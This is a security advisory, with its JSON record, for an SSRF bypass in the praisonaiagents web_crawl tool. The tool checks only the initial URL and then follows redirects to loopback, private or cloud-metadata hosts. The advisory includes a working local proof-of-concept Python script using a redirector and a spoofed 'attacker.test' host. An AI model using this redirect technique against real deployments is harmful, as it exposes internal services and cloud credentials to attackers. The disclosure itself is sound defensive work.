GHSA-8HJW-25CG-G52H
Vulnerability from github – Published: 2026-08-25 14:18 – Updated: 2026-08-25 14:18Summary
praisonaiagents.tools.web_crawl_tools.web_crawl() validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Client(follow_redirects=True) and does not revalidate redirect targets.
An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by web_crawl().
This appears to be an incomplete fix / patch bypass for the published web_crawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160, and GHSA-8f4v-xfm9-3244).
Affected Component
Package:
praisonaiagents
File:
src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py
Functions:
web_crawl()
_crawl_with_httpx()
Affected Versions
Validated affected:
praisonaiagents 1.5.128via repository tagv4.5.128;praisonaiagents 1.6.40via repository tagv4.6.40;praisonaiagents 1.6.56via repository tagv4.6.56;- current
origin/maincommit095653d78a01cc6c80ff5b2dd20a8e5619686ddc.
Suggested affected range for maintainer confirmation:
>= 1.5.128, <= 1.6.56
No patched version is known to me at submission time.
Root Cause
Current web_crawl() validates only the initially supplied URL:
- requires
httporhttps; - resolves the initial hostname with
socket.gethostbyname(); - rejects loopback/private/link-local/multicast/unspecified addresses unless
ALLOW_LOCAL_CRAWL=true.
The default fetch sink then follows redirects:
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
response = client.get(url)
There is no validation of intermediate or final redirect destinations before httpx fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.
Local Reproduction
The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.
Run from a checkout of the repository:
env PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py
Observed output:
DIRECT_CONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback
The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.
With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:
REDIRECT_HIT: True
INTERNAL_HIT: False
Impact
If an attacker can influence URLs passed to web_crawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the web_crawl() result.
Practical impact includes:
- reading loopback-only HTTP services;
- probing private network services;
- reading cloud metadata endpoints where reachable and not otherwise protected.
This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.
Severity
This mirrors the CVSS v4.0 shape already used for the prior web_crawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.
Suggested Fix
- Set
follow_redirects=Falsein_crawl_with_httpx(), or handle redirects manually and validate eachLocationtarget before following it. - Centralize the URL validation used by server-side fetch tools.
- Validate every resolved address using
socket.getaddrinfo(), not only the firstgethostbyname()result. - Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.
- Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.
PoV
#!/usr/bin/env python3
"""Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.
This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""
from __future__ import annotations
import http.server
import os
import socket
import socketserver
import threading
from typing import Any
from praisonaiagents.tools.web_crawl_tools import web_crawl
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"INTERNAL-SECRET-FROM-LOOPBACK"
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, *_args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def main() -> int:
os.environ.pop("ALLOW_LOCAL_CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal_port = internal.server_address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect_port = redirect.server_address[1]
threading.Thread(target=internal.serve_forever, daemon=True).start()
threading.Thread(target=redirect.serve_forever, daemon=True).start()
original_gethostbyname = socket.gethostbyname
original_getaddrinfo = socket.getaddrinfo
def fake_gethostbyname(host: str) -> str:
if host == "attacker.test":
return "93.184.216.34"
return original_gethostbyname(host)
def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original_getaddrinfo(host, port, *args, **kwargs)
socket.gethostbyname = fake_gethostbyname
socket.getaddrinfo = fake_getaddrinfo
try:
direct_control = web_crawl(
f"http://127.0.0.1:{internal_port}/secret",
provider="httpx",
)
redirect_result = web_crawl(
f"http://attacker.test:{redirect_port}/go",
provider="httpx",
)
finally:
socket.gethostbyname = original_gethostbyname
socket.getaddrinfo = original_getaddrinfo
redirect.shutdown()
internal.shutdown()
redirect.server_close()
internal.server_close()
print("DIRECT_CONTROL:", direct_control)
print("REDIRECT_RESULT:", redirect_result)
print("REDIRECT_SERVER_HIT:", bool(redirect.hit)) # type: ignore[attr-defined]
print("INTERNAL_SERVER_HIT:", bool(internal.hit)) # type: ignore[attr-defined]
if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control):
raise SystemExit("control failed: direct loopback was not blocked")
if not isinstance(redirect_result, dict):
raise SystemExit("bypass failed: unexpected result type")
if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")):
raise SystemExit("bypass failed: redirect target content was not returned")
if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined]
raise SystemExit("bypass failed: expected local servers were not hit")
print("PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback")
return 0
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.128"
},
{
"fixed": "1.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55523"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:18:40Z",
"nvd_published_at": "2026-08-05T20:17:10Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`praisonaiagents.tools.web_crawl_tools.web_crawl()` validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses `httpx.Client(follow_redirects=True)` and does not revalidate redirect targets.\n\nAn attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by `web_crawl()`.\n\nThis appears to be an incomplete fix / patch bypass for the published `web_crawl` SSRF class (`GHSA-qq9r-63f6-v542` / `CVE-2026-40160`, and `GHSA-8f4v-xfm9-3244`).\n\n## Affected Component\n\nPackage:\n\n```text\npraisonaiagents\n```\n\nFile:\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py\n```\n\nFunctions:\n\n```text\nweb_crawl()\n_crawl_with_httpx()\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `praisonaiagents 1.5.128` via repository tag `v4.5.128`;\n- `praisonaiagents 1.6.40` via repository tag `v4.6.40`;\n- `praisonaiagents 1.6.56` via repository tag `v4.6.56`;\n- current `origin/main` commit `095653d78a01cc6c80ff5b2dd20a8e5619686ddc`.\n\nSuggested affected range for maintainer confirmation:\n\n```text\n\u003e= 1.5.128, \u003c= 1.6.56\n```\n\nNo patched version is known to me at submission time.\n\n## Root Cause\n\nCurrent `web_crawl()` validates only the initially supplied URL:\n\n- requires `http` or `https`;\n- resolves the initial hostname with `socket.gethostbyname()`;\n- rejects loopback/private/link-local/multicast/unspecified addresses unless `ALLOW_LOCAL_CRAWL=true`.\n\nThe default fetch sink then follows redirects:\n\n```python\nwith httpx.Client(follow_redirects=True, timeout=30.0) as client:\n response = client.get(url)\n```\n\nThere is no validation of intermediate or final redirect destinations before `httpx` fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so `attacker.test` appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.\n\nRun from a checkout of the repository:\n\n```fish\nenv PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py\n```\n\nObserved output:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027content\u0027: \u0027INTERNAL-SECRET-FROM-LOOPBACK\u0027, \u0027title\u0027: \u0027\u0027, \u0027provider\u0027: \u0027httpx\u0027}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nPRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.\n\nWith the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:\n\n```text\nREDIRECT_HIT: True\nINTERNAL_HIT: False\n```\n\n## Impact\n\nIf an attacker can influence URLs passed to `web_crawl()`, directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the `web_crawl()` result.\n\nPractical impact includes:\n\n- reading loopback-only HTTP services;\n- probing private network services;\n- reading cloud metadata endpoints where reachable and not otherwise protected.\n\nThis report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.\n\n## Severity\n\n\nThis mirrors the CVSS v4.0 shape already used for the prior `web_crawl` SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.\n\n## Suggested Fix\n\n- Set `follow_redirects=False` in `_crawl_with_httpx()`, or handle redirects manually and validate each `Location` target before following it.\n- Centralize the URL validation used by server-side fetch tools.\n- Validate every resolved address using `socket.getaddrinfo()`, not only the first `gethostbyname()` result.\n- Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.\n- Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.\n\n## PoV\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.\n\nThis PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI\u0027s pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\nfrom praisonaiagents.tools.web_crawl_tools import web_crawl\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n body = b\"INTERNAL-SECRET-FROM-LOOPBACK\"\n\n def do_GET(self) -\u003e None: # noqa: N802\n self.server.hit = True # type: ignore[attr-defined]\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.send_header(\"Content-Length\", str(len(self.body)))\n self.end_headers()\n self.wfile.write(self.body)\n\n def log_message(self, *_args: Any) -\u003e None:\n return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n target = \"\"\n\n def do_GET(self) -\u003e None: # noqa: N802\n self.server.hit = True # type: ignore[attr-defined]\n self.send_response(302)\n self.send_header(\"Location\", self.target)\n self.end_headers()\n\n def log_message(self, *_args: Any) -\u003e None:\n return\n\n\ndef main() -\u003e int:\n os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n internal.hit = False # type: ignore[attr-defined]\n internal_port = internal.server_address[1]\n\n RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n redirect.hit = False # type: ignore[attr-defined]\n redirect_port = redirect.server_address[1]\n\n threading.Thread(target=internal.serve_forever, daemon=True).start()\n threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n original_gethostbyname = socket.gethostbyname\n original_getaddrinfo = socket.getaddrinfo\n\n def fake_gethostbyname(host: str) -\u003e str:\n if host == \"attacker.test\":\n return \"93.184.216.34\"\n return original_gethostbyname(host)\n\n def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n if host == \"attacker.test\":\n return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n return original_getaddrinfo(host, port, *args, **kwargs)\n\n socket.gethostbyname = fake_gethostbyname\n socket.getaddrinfo = fake_getaddrinfo\n try:\n direct_control = web_crawl(\n f\"http://127.0.0.1:{internal_port}/secret\",\n provider=\"httpx\",\n )\n redirect_result = web_crawl(\n f\"http://attacker.test:{redirect_port}/go\",\n provider=\"httpx\",\n )\n finally:\n socket.gethostbyname = original_gethostbyname\n socket.getaddrinfo = original_getaddrinfo\n redirect.shutdown()\n internal.shutdown()\n redirect.server_close()\n internal.server_close()\n\n print(\"DIRECT_CONTROL:\", direct_control)\n print(\"REDIRECT_RESULT:\", redirect_result)\n print(\"REDIRECT_SERVER_HIT:\", bool(redirect.hit)) # type: ignore[attr-defined]\n print(\"INTERNAL_SERVER_HIT:\", bool(internal.hit)) # type: ignore[attr-defined]\n\n if not isinstance(direct_control, dict) or \"No valid or safe URLs\" not in str(direct_control):\n raise SystemExit(\"control failed: direct loopback was not blocked\")\n if not isinstance(redirect_result, dict):\n raise SystemExit(\"bypass failed: unexpected result type\")\n if \"INTERNAL-SECRET-FROM-LOOPBACK\" not in str(redirect_result.get(\"content\", \"\")):\n raise SystemExit(\"bypass failed: redirect target content was not returned\")\n if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined]\n raise SystemExit(\"bypass failed: expected local servers were not hit\")\n\n print(\"PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback\")\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```",
"id": "GHSA-8hjw-25cg-g52h",
"modified": "2026-08-25T14:18:40Z",
"published": "2026-08-25T14:18:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8hjw-25cg-g52h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55523"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.